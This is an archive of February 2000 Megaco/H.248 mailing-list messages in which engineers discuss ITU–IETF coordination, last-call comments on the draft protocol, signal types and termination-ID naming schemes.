>I have a question regarding the status of the Megaco/H.248 development
>activity in Geneva. SG16 is busily trying to "decide" the H.248 document,
>I'm told, and doing so in violation of its own procedures. It's procedures
>call for "deciding" to be based on a stable document, while the document
>before that house has changed substantively since October, and there are
>numerous contributions to change it even today.
>
>I understand that one of the key supporters of deciding the document this
>week is Tom Taylor, the chair of Megaco. Monday morning, Tom opened a
>Working Group last call on the IETF version of the document, which if any
>of the current ITU contributions are accepted differs substantively from
>the ITU document. By doing this, Tom cuts IETF review of the document out
>of the loop.
>
>I thought this was a joint development between IETF and ITU, a showcase of
>that in fact, and that the IETF would review and agree to H.248 before it
>was decided? What's going on here?
>
>Fred
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>Fred Baker      | 519 Lado Drive
>IETF Chair      | Santa Barbara California 93111
>www.ietf.org    | Desk:   +1-408-526-4257
>                 | Mobile: +1-805-886-3873
>                 | FAX:    +1-413-473-2403

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 14:42:31 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08648
	for ; Thu, 10 Feb 2000 14:42:27 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.97D1BFF0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 14:39:10 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38675 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 14:38:59 -0500
Received: from alemail1.firewall.lucent.com (192.11.221.161) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.9102E410@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          14:38:59 -0500
Received: from alemail1.firewall.lucent.com (localhost [127.0.0.1]) by
          alemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id OAA05276
          for ; Thu, 10 Feb 2000 14:41:30
          -0500 (EST)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
          by alemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          OAA05264 for ; Thu, 10 Feb 2000
          14:41:29 -0500 (EST)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id UAA13603; Thu,
          10 Feb 2000 20:41:23 +0100 (MET)
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id
          UAA13596; Thu, 10 Feb 2000 20:41:20 +0100 (MET)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
Original-CC: brosen@fore.com
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A31279.275FE299@lucent.com>
Date:         Thu, 10 Feb 2000 20:33:13 +0100
Reply-To: John Segers 
Sender: "Media Gateway Control (megaco)"
              
From: John Segers 
Organization: Lucent Technologies
Subject:      Re: Last Call
X-cc:         brosen@fore.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

All,

There are a couple of comments that I want to make on the 06 draft of
the megaco protocol.

First, I noticed in the marked up Word version (MegacoH248v15) that some
of the references in section 2 are marked as ITU-only text and are not
present in the published internet draft.  I think that this is an
editing error and that the reference sections in the ITU view and in the
IETF view of the document are not supposed to differ except that the ITU
document does not need to reference RFC 2119 (the RFC explaining use of
key words such as SHALL, SHOULD, MAY, etc.).

Second, and more importantly, there is an issue with the base root
package, for which I certainly have to take part of the blame.  The text
of draft 06 contains the text that Brian proposed for the Pattern,
MaxPatterns and PatternNum properties although there was no consensus to
include this text.  The part where I messed up is that I told Brian that
I wanted to take it out in the document for the Geneva meeting of SG16,
but then I forgot to do so.

Briefly, the reason why I want it taken out is that it is not complete:
it does not address how to convey naming hierarchy information when
using the binary encoding of the protocol, and I don't believe it allows
"plug and play" operation, i.e., knowing about naming patterns does not
take away the need for provisioning.

After discussion in Geneva, the proposal in the meeting here is not to
include the properties on naming patterns.

Cheers,

John

> Nancy-M Greene wrote:
>
> I have now posted draft-ietf-megaco-protocol-06.txt to
>
> ftp://standards.nortelnetworks.com/megaco/docs/latest
>
> The differences between v14 and v15 are (I expect) those outlined in
> Tom's email Feb 7/2000 with subject:
> "Updates Submitted To ITU Based On Issue Scorecard". You can see the
> changes by looking at the doc or pdf file.
>
> Nancy
> --------------------------------------------------------------------------
>
> Nancy M. Greene
> Internet & Service Provider Networks, Nortel Networks
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
>
>      ----------
>      From:   Rosen, Brian[SMTP:brosen@fore.com]
>      Sent:   Tuesday, February 08, 2000 3:37 PM
>      To:     'internet-drafts@ietf.org'
>      Cc:     Greene, Nancy-M [CAR:5N40:EXCH]; Taylor, Tom-PT
>      [CAR:B904:EXCH]; 'John Segers (E-mail)'
>      Subject:        draft-ietf-megaco-protocol-06
>
>      <>
>      Please find attached an update of the Megaco protocol draft:
>
>      This draft is a work item of the Megaco WG.
>
>
>      Title: MEGACO Protocol
>
>      Author(s) : F. Cuervo, B. Hill, N. Greene, C. Huitema, A. Ryahan,
>      B. Rosen,
>      J. Segers
>      Filename : draft-ietf-megaco-protocol-06.txt
>      Pages : 147
>      Date : 08-Feb-2000
>
>      Abstract:
>      MEGACO defines the protocols used between elements of a
>      physically
>      decomposed multimedia Gateway consisting of a Media Gateway and a
>      Media
>      Gateway Controller.  There are no functional differences from a
>      system
>      view between a decomposed gateway, with distributed sub-
>      components
>      potentially on more than one physical device, and a monolithic
>      gateway.
>      This document does not define how gateways, multipoint control
>      units or
>      integrated voice response units (IVRs) work.  Instead it creates
>      a gen-
>      eral framework that is suitable for these applications.
>
>      Packet network interfaces may include IP, ATM or possibly
>      others.  The
>      interfaces will support a variety of SCN signaling systems,
>      including
>      tone signaling, ISDN, ISUP, QSIG, and GSM. National variants of
>      these
>      signaling systems will be supported where applicable.
>
>      The protocol definition in this document is common text with ITU
>      Recom-
>      mendation H.248.
>
>      ------------
>      Brian Rosen, Principal Engineer
>      Marconi (Formerly FORE Systems)
>      1000 FORE Drive, Warrendale, PA 15086
>      (724) 742-6826  mailto:brosen@eng.fore.com
>
> --------------------------------------------------------------------------
>
> Nancy M. Greene
> Internet & Service Provider Networks, Nortel Networks
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
>
>      ----------
>      From:   Greene, Nancy-M [CAR:5N40:EXCH]
>      Sent:   Tuesday, February 08, 2000 11:10 AM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Last Call
>
>      After posting, I noticed that the I-D name in v15 should say
>      draft-ietf-megaco-protocol-06.txt, so I have just uploaded the
>      files again with this change. The I-D itself,
>      draft-ietf-megaco-protocol-06.txt, should be ready later today,
>      and on the IETF ftp site within a day or two.
>
>      Nancy
>      --------------------------------------------------------------------------
>
>      Nancy M. Greene
>      Internet & Service Provider Networks, Nortel Networks
>      T:514-271-7221 (internal:ESN853-1077)
>      E:ngreene@nortelnetworks.com
>
>              ----------
>      From:   Greene, Nancy-M [CAR:5N40:EXCH]
>      Sent:   Tuesday, February 08, 2000 10:47 AM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Last Call
>
>              v15 is available at:
>
>              ftp://standards.nortelnetworks.com/megaco/docs/latest
>
>              file names:
>
>              MegacoH248v15.doc
>      MegacoH248v15doc.zip
>      MegacoH248v15.PDF
>
>              It has change bars against v14. v14 is
>      draft-ietf-megaco-protocol-05.txt .
>
>              Note that v14, v13, v12 are still available if you want
>      to look at them. They are in
>      ftp://standards.nortelnetworks.com/megaco/docs/Adelaide2000
>
>              Nancy
>      --------------------------------------------------------------------------
>
>      Nancy M. Greene
>      Internet & Service Provider Networks, Nortel Networks
>      T:514-271-7221 (internal:ESN853-1077)
>      E:ngreene@nortelnetworks.com
>
>                      ----------
>      From:   Taylor, Tom-PT [CAR:B904:EXCH]
>      Sent:   Tuesday, February 08, 2000 8:11 AM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Last Call
>
>                      If Last Call is to have anything meaning at all,
>      it must be conducted during
>      the present SG 16 meeting.
>
>                      Nancy is about to put MegacoH248v15 on the site.
>      I invite Last Call
>      comments based on this version of the document.  We can recycle
>      as necessary
>      to reflect decisions taken.
>
>                      Sorry for not drawing the line in early December,
>      when (in hindsight) we
>      might have done things more cleanly.
>
>                      Tom Taylor
>      Advisor -- Emerging Carrier IP Standards
>      E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
>      Phone and FAX: +1 613 736 0961

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 306
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 15:20:23 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09641
	for ; Thu, 10 Feb 2000 15:20:23 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EBB1D1A0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:17:18 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38779 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 15:16:03 -0500
Received: from mtiwmhc03.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.BE81AC50@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:16:03
          -0500
Received: from worldnet.att.net ([12.78.174.216]) by mtiwmhc03.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000210201829.VCRV2478@worldnet.att.net>; Thu, 10 Feb 2000 20:18:29
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
            <38A1AD0A.FB097A4D@ericsson.com>
            <38A1B37D.60C50000@worldnet.att.net>
            <38A30216.134B17A3@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A31D6C.C22C7570@worldnet.att.net>
Date:         Thu, 10 Feb 2000 15:19:56 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Christian Groves 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

That could be another way of doing it. The drawbacks I see is that whenever you want to have this
behavior, you now have to define two signals; one for "on", and one for "off". Defining the
on/off type with one indication for "on" and another for "off" solves the problem once and for
all. Conceptually, I think it's cleaner, but that is inarguably a matter of taste. Do you see any
problems with it ?

-- Flemming


Christian Groves wrote:

> G'Day Flemming,
>
> Why can't you define vmwi-on and wmwi-off property? This solves your
> problem. These could be both signal type 'brief' (ie. once). vmwi-on
> turns on your indicator. It stays on no matter what you do. You then
> issue vmwi-off it turns the indicator off.
>
> I think this solves your problem???
>
> Cheers, Christian
>
> Flemming Andreasen wrote:
> >
> > Christian Groves wrote:
> >
> > > To me it makes no sense to draw distinction between the types of signals
> > > and replacement behaviour.
> > >
> > > With the following rules, what behaviour can't you handle?
> > >
> > > o You can explicitely define the replacement behaviour using the
> > >   KEEPACTIVE flag. ie. If on, Signals are not stopped by events
> >
> > The problem here is, that KeepActive is an event parameter, not a signal parameter. Thus,
> > let's say I send down an EventsDescriptor looking for off-hook, and a SignalsDescriptor
> > applying ringing (TO), and vmwi (OO). I don't want my vmwi to be stopped by off-hook, but I
> > do want ringing to be stopped. How do I do that with the KeepActive flag ?
> >
> > >
> > > o Signals can be of a transition type "on->off" or something with
> > >   duration "plays for x seconds". This does not have to be part of the
> > >   protocol. Its a characteristic of the tone/message to be played.
> >
> > It sounds like we are in agreement, so I might be misunderstanding. The protocol defines
> > certain basic characteristics of different types of signals. Specifically those types are
> > BR, TO, and OO.
> >
> > >
> > > o Using BR,TO,OO controls the number of times that it is "played"
> >
> > That doesn't achieve all of what we want.
> >
> > >
> > >
> > > Cheers, Christian
> > >
> >
> > -- Flemming
> >
> > << stuff deleted >>

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 15:23:03 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09667
	for ; Thu, 10 Feb 2000 15:23:02 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.33A61390@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:19:19 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38785 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 15:17:19 -0500
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.EC1AA590@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:17:19
          -0500
Message-ID:  
Date:         Thu, 10 Feb 2000 15:16:39 -0500
Reply-To: Singaraselvan Singaravelan
              
Sender: "Media Gateway Control (megaco)"
              
From: Singaraselvan Singaravelan
              
Subject:      Re: Choosing of ephemeral / physical Termination.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hello all,

The explanation given by Brian does not clarify the doubts raised.
Let me repost the questions:

1. Do we still have the "Naming Pattern" in the Base Root Package ?
    From Christian's explanation, it will be removed (???)

2. MG is allowed to choose an arbitrary schema for naming Termination Ids
    Assume, the MG, uses the following schema to name the Termination Ids.
                TDM/OPC/DPC/CIC
    How does the MGC will know, second field in the Termination ID is OPC,
    3rd is DPC and 4th is CIC ?

    If MGC is intelligent enough to identify the 2nd field is OPC, 3rd is DPC and 4th CIC,
    then it would be easy to implement, CHOOSE, RANGE, LIST or ALL options.

   For example, TDM/300/400/5  => Circuit 5 with OPC = 300 & DPC = 400
                         TDM/300/400/*  => All Circuits with OPC = 300 & DPC = 400


3. Do we need to package which explains how the termination are named?
    So in a multi vendor, Media Gateway and MGC, if the package is supported
    we can easily maintain, universal naming of Termination Ids.

    Please clarify it with an example. It will avoid further clarifications.

    Thanks,
    Singar/..




On Thu, 10 Feb 2000 19:22:49 +0100, Christian Groves  wrote:

>Hello all,
>
>The addition of the "Naming pattern" in the Package was a mistake by the
> Editor (TD-33). It was highlighted in the word document for removal.
>It should be removed as per TD-32 which was input to the ITU SG16
>meeting.
>It needs further CS2 development.
>
>Cheers, Christian
>
>"Rosen, Brian" wrote:
>>
>> > In the example  given, the termination Id look like
>> >           MyDS3/3/5  which follows the schema by MG
>> > TrunkGroup/Trunk/Circuit
>> >
>> > The fundamental question is, how does the MGC will understand
>> > this schema?
>> > For example if MGC wants to select all the circuits in MyDS3
>> > and Trunk 3, it
>> > would use the termination id MyDS3/3/* if MGC can understand
>> > the schema used by MG.
>> Look at either of the two most recent versions for the "Name Pattern"
>> properties in the root package.  This provides a way
>> for the MGC to discover the name scheme in the MG.  Alternatively,
>> this information can be provisioned in the MGC.
>>
>> > In the event MGC doesn't know the schema used by MG, then
>> > schema TrunkGroup/Trunk/Circuit
>> > doesn't convey much information. Then, the Termination Id is
>> > mere a string and doesn't convey
>> > any message to MGC.
>> In some way or other, the MGC must know how to specifically
>> address each of the circuits in the MG.  It could only understand
>> a string name for an end circuit.  For some MGCs, that may be
>> sufficient.  The naming schema is usefull for:
>>         Allowing the MG to select a circuit using CHOOSE
>>         Allowing the MGC to do efficient Auditing, while
>>                 controlling the amount of data sent from one audit
>> The later is what drove the "Name Pattern" properties mechanism.
>>
>> Brian
>> > Please clarify with respect to the example.
>> >
>> > Thanks,
>> > Singar/..
>> >
>> >
>> >
>> > On Tue, 1 Feb 2000 10:59:53 +0100, Christian Groves
>> >  wrote:
>> >
>> > >G'Day Brian,
>> > >
>> > >Sounds like you're leading me somewhere ;-). In answer to
>> > your questions
>> > >I believe you could ask for what you've specified below.
>> > Whether that's
>> > >the best way to do it is another question.
>> > >
>> > >Cheers, Christian
>> > >
>> > >"Rosen, Brian" wrote:
>> > >>
>> > >> Just checking my assumptions:
>> > >>         For a physical termination, you want to be able to say:
>> > >>                 MyDS3/3/$
>> > >>        meaning, you choose any DS0 you want in the 3rd DS1
>> > of a DS3,
>> > >> assuming that
>> > >>          was how my MG named the DS0s (such a structure
>> > NOT being required).
>> > >> Could
>> > >>         I also ask for MyDS3/$/$?
>> > >>
>> > >>         For an ephemeral termination, suppose that I knew,
>> > by discovery or
>> > >>         provisioning that RTP bearers were named RTP/nnnn
>> > and ATM bearers
>> > >> were
>> > >>         named AAL1/nnnn/nn.  Can I Add=AAL1/0003/$, which
>> > means create an
>> > >>         ephemeral for an ATM AAL1 bearer, with the MG choosing the
>> > >> subchannel?
>> > >>
>> > >> Brian
>> > >>
>> > >> > -----Original Message-----
>> > >> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
>> > >> > Sent: Monday, January 31, 2000 10:27 AM
>> > >> > To: MEGACO@standards.nortelnetworks.com
>> > >> > Subject: Re: Choosing of ephemeral / physical Termination.
>> > >> >
>> > >> >
>> > >> > Hello all,
>> > >> >
>> > >> > I believe that we have diverged from the first email in this
>> > >> > thread. We
>> > >> > do not need rules to determine what media and bearer is
>> > instantiated.
>> > >> >
>> > >> > For a physical termination a certain terminationID schema will be
>> > >> > assigned by the MG. ie. /myscheme/physical/trunk/circuit
>> > >> > If the MGC wanted to CHOOSE a physical termination it
>> > could either
>> > >> > wildcard 'trunk' or 'circuit'.
>> > >> >
>> > >> > For a emphemeral terminatoion a certain terminationID
>> > schema will be
>> > >> > assigned by the MG. The MGC by various means would be
>> > aware of this
>> > >> > scheme.
>> > >> > ie. /myscheme/euphemeral/IP
>> > >> > If the MGC wanted to CHOOSE a euphemeral termination it
>> > could wilcard
>> > >> > the 'IP'
>> > >> >
>> > >> > The 'physical' and 'ephemeral' could be anything in the the
>> > >> > MG assigned
>> > >> > scheme that would differentiate the two.
>> > >> >
>> > >> > If the MGC doesn't care which one then it CHOOSES on the
>> > >> > 'ephemeral'/'physical' level. The MG can determine which
>> > one to return
>> > >> > from ANY information in the media descriptors. This is
>> > >> > something for the
>> > >> > MG to decide, not something that needs to be specified in
>> > >> > rules in H248
>> > >> > because they'll probably change according to your
>> > >> > application, resource
>> > >> > allocation algorithms in the MG, etc. I do agree that an
>> > >> > error should be
>> > >> > returned if the MG cannot determine the terminationID.
>> > >> >
>> > >> > I think the scope of this is also limited to the ADD
>> > command. The ADD
>> > >> > will return a fully specified terminationID which can then be
>> > >> > referenced
>> > >> > in Move, Modify, Subtract etc.
>> > >> >
>> > >> > Regards, Christian
>> > >> >
>> > >> > Tom-PT Taylor wrote:
>> > >> > >
>> > >> > > Right, we haven't converged yet.  I have a suggestion which may
>> > >> > > resolve this, that we add these rules
>> > >> > >
>> > >> > > (1) If the MGC provides too little information in an
>> > Add command for
>> > >> > > the MG to select the bearer type for that termination,
>> > the MG must
>> > >> > > reject the command with [appropriate error].  In practice,
>> > >> > this means
>> > >> > > either that the terminationID in the command provides
>> > the necessary
>> > >> > > information, or else that at least one instance of a
>> > Local or Remote
>> > >> > > descriptor must be present, containing a c= line with
>> > a specified
>> > >> > > nettype (or the Annex C equivalent).
>> > >> > >
>> > >> > > (2) If the MGC provides too little information in an
>> > Add, Move, or
>> > >> > > Modify command for the MG to determine the medium to
>> > be carried in a
>> > >> > > given stream, the MG must reject the command with [appropriate
>> > >> > > error].  The MG has three ways to determine medium:
>> > >> > >
>> > >> > >  - streamID unspecified defaults to streamID=1 and medium=audio
>> > >> > >  - medium has already been specified for that streamID
>> > for another
>> > >> > > termination in the same context
>> > >> > >  - explicit specification of medium in an m= line (or
>> > the Annex C
>> > >> > > equivalent) in an instance of Local or Remote for the given
>> > >> > streamID.
>> > >> > >
>> > >> > >      -----Original Message-----
>> > >> > >      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>> > >> > >      Sent:   Monday, January 31, 2000 9:15 AM
>> > >> > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > >> > >      Subject:        Re: Choosing of ephemeral / physical
>> > >> > Termination.
>> > >> > >
>> > >> > >      I believe we have not reached consensus on this
>> > issue, so I did
>> > >> > >      not
>> > >> > >      change the text.  Tom, is that your view?
>> > >> > >
>> > >> > >      Brian
>> > >> > >
>> > >> > >      > -----Original Message-----
>> > >> > >      > From: Sachin Mittal [mailto:samittal@hss.hns.com]
>> > >> > >      > Sent: Monday, January 31, 2000 2:52 AM
>> > >> > >      > To: MEGACO@standards.nortelnetworks.com
>> > >> > >      > Subject: Re: Choosing of ephemeral / physical
>> > Termination.
>> > >> > >      >
>> > >> > >      >
>> > >> > >      > The point that "$" is for choosing ephemeral is
>> > not yet added
>> > >> > >      > in V14. Is it that
>> > >> > >      > the discussion
>> > >> > >      > is not yet complete? What about foo$ representing choose
>> > >> > >      physical.
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      > Sachin Mittal  on 01/27/2000
>> > 11:35:50 AM
>> > >> > >      >
>> > >> > >      > Please respond to samittal@hns.com
>> > >> > >      >
>> > >> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > >> > >      > cc:    (bcc: Sachin Mittal/HSS)
>> > >> > >      >
>> > >> > >      > Subject:  Re: Choosing of ephemeral / physical
>> > Termination.
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      > Its true that the type of termination should not be
>> > >> > >      > identified by looking into
>> > >> > >      > the descriptor
>> > >> > >      > information. Somewhere in the text this should
>> > be added that
>> > >> > >      > " $ if it appears
>> > >> > >      > alone indicates
>> > >> > >      > ephemeral termination and partial $ (ex foo$) indicates
>> > >> > >      > selection of a physical
>> > >> > >      > termination
>> > >> > >      > (a circuit within a trunk group)".
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      > "Rosen, Brian"  on 01/27/2000
>> > 02:36:46 AM
>> > >> > >      >
>> > >> > >      > Please respond to "Rosen, Brian" 
>> > >> > >      >
>> > >> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > >> > >      > cc:    (bcc: Sachin Mittal/HSS)
>> > >> > >      >
>> > >> > >      > Subject:  Re: Choosing of ephemeral / physical
>> > Termination.
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      >
>> > >> > >      > Generally determined by the "kind" of
>> > termination requested.
>> > >> > >      > Which is in turn, easily discernable from the
>> > Media command.
>> > >> > >      >
>> > >> > >      > However, upon reflection, I think it's not a
>> > good answer.
>> > >> > >      > I'd propose that we not allow selection of a physical
>> > >> > >      termination,
>> > >> > >      > in which case choose is always create an ephemeral.  In
>> > >> > >      particular,
>> > >> > >      > the following is perfectly legal:
>> > >> > >      > Context=${Add=${}}
>> > >> > >      > What do you get?
>> > >> > >      >
>> > >> > >      > Brian
>> > >> > >      >
>> > >> > >      > > -----Original Message-----
>> > >> > >      > > From: Sachin Mittal [mailto:samittal@hss.hns.com]
>> > >> > >      > > Sent: Tuesday, January 25, 2000 9:01 AM
>> > >> > >      > > To: MEGACO@standards.nortelnetworks.com
>> > >> > >      > > Subject: Choosing of ephemeral / physical Termination.
>> > >> > >      > >
>> > >> > >      > >
>> > >> > >      > > Annex B.1 says that "The CHOOSE TerminationID
>> > $ may be used
>> > >> > >      > > to signal to the MG
>> > >> > >      > > that it has to create an
>> > >> > >      > > ephemeral Termination or select an idle physical
>> > >> > >      Termination".
>> > >> > >      > > How can MG determine when to create an ephemeral
>> > >> > termination
>> > >> > >      > > and when to choose
>> > >> > >      > > idle physical termination.??
>> > >> > >      > > What is the logic behind this decision making?
>> > >> > >      > >
>> > >> > >      > > regards
>> > >> > >      > > -Sachin Mittal
>> > >> > >      > >
>> > >> > >      >
>> > >> >
>> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 15:28:30 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09768
	for ; Thu, 10 Feb 2000 15:28:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0C272FB0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:25:22 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38777 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 15:23:50 -0500
Received: from sj-mailhub-3.cisco.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.6F42A7C0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:13:50
          -0500
Received: from rhino (rhino.cisco.com [172.20.9.57]) by sj-mailhub-3.cisco.com
          (8.9.1a/8.9.1) with ESMTP id MAA00505; Thu, 10 Feb 2000 12:35:39
          -0800 (PST)
Received: from p7020-img-nt (rtp-dial-1-66.cisco.com [161.44.116.66]) by rhino
          (SMI-8.6/CISCO.WS.1.1) with SMTP id MAA26311; Thu, 10 Feb 2000
          12:19:33 -0800
X-Sender: fred@flipper.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-ID:  <4.1.20000210150308.017b7160@flipper.cisco.com>
Date:         Thu, 10 Feb 2000 15:12:04 -0500
Reply-To: Fred Baker 
Sender: "Media Gateway Control (megaco)"
              
From: Fred Baker 
Subject:      Re: H.248 Activity
X-To:         Tom-PT Taylor 
X-cc:         iesg@ietf.org
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 08:33 AM 2/10/00 -0500, Tom-PT Taylor wrote:

>
> Let me take the liberty of clarifying the situation.


Thanks. As to specifics, I will of course leave specific direction to your area
director. What I am concerned about here is a little bit bigger picture.

>
> I believe some divergence between the ITU-T standard (H.248) and the IETF RFC
> is possible, if it relates to very specific aspects of the protocol having to
> do with IP-related operation.


Personally, I would find that distressing. The question would forever be "so
which would you actually implement, and how would you assure interoperability?"
I'd like to see us come out of a joint development with a joint document,
jointly agreed to.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 15:58:35 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10454
	for ; Thu, 10 Feb 2000 15:58:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.428F44D0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:55:32 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38923 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 15:54:37 -0500
Received: from mail-dns1-nj.dialogic.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.20DAE1A0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 15:54:35
          -0500
Received: from mail4.dialogic.com (mail4.dialogic.com [146.152.6.40]) by
          mail-dns1-nj.dialogic.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.11
          1999/11/10 17:27:15 spurcell Exp $) with ESMTP id UAA25990 for
          ; Thu, 10 Feb 2000 20:58:13 GMT
Received: from exchange4nj.dialogic.com (exchange4nj.dialogic.com
          [146.152.3.19]) by mail4.dialogic.com (PMDF V5.2-31 #40816) with
          ESMTP id <0FPQ00F38FIYQY@mail4.dialogic.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 15:56:58 -0500
          (EST)
Received: by exchange4nj.dialogic.com with Internet Mail Service (5.5.2650.21)
          id ; Thu, 10 Feb 2000 15:55:37 -0500
Content-return: allowed
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Message-ID:  
Date:         Thu, 10 Feb 2000 15:54:36 -0500
Reply-To: "Rupsis, Paul" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rupsis, Paul" 
Subject:      Re: Cisco SG16:  Annex E comments
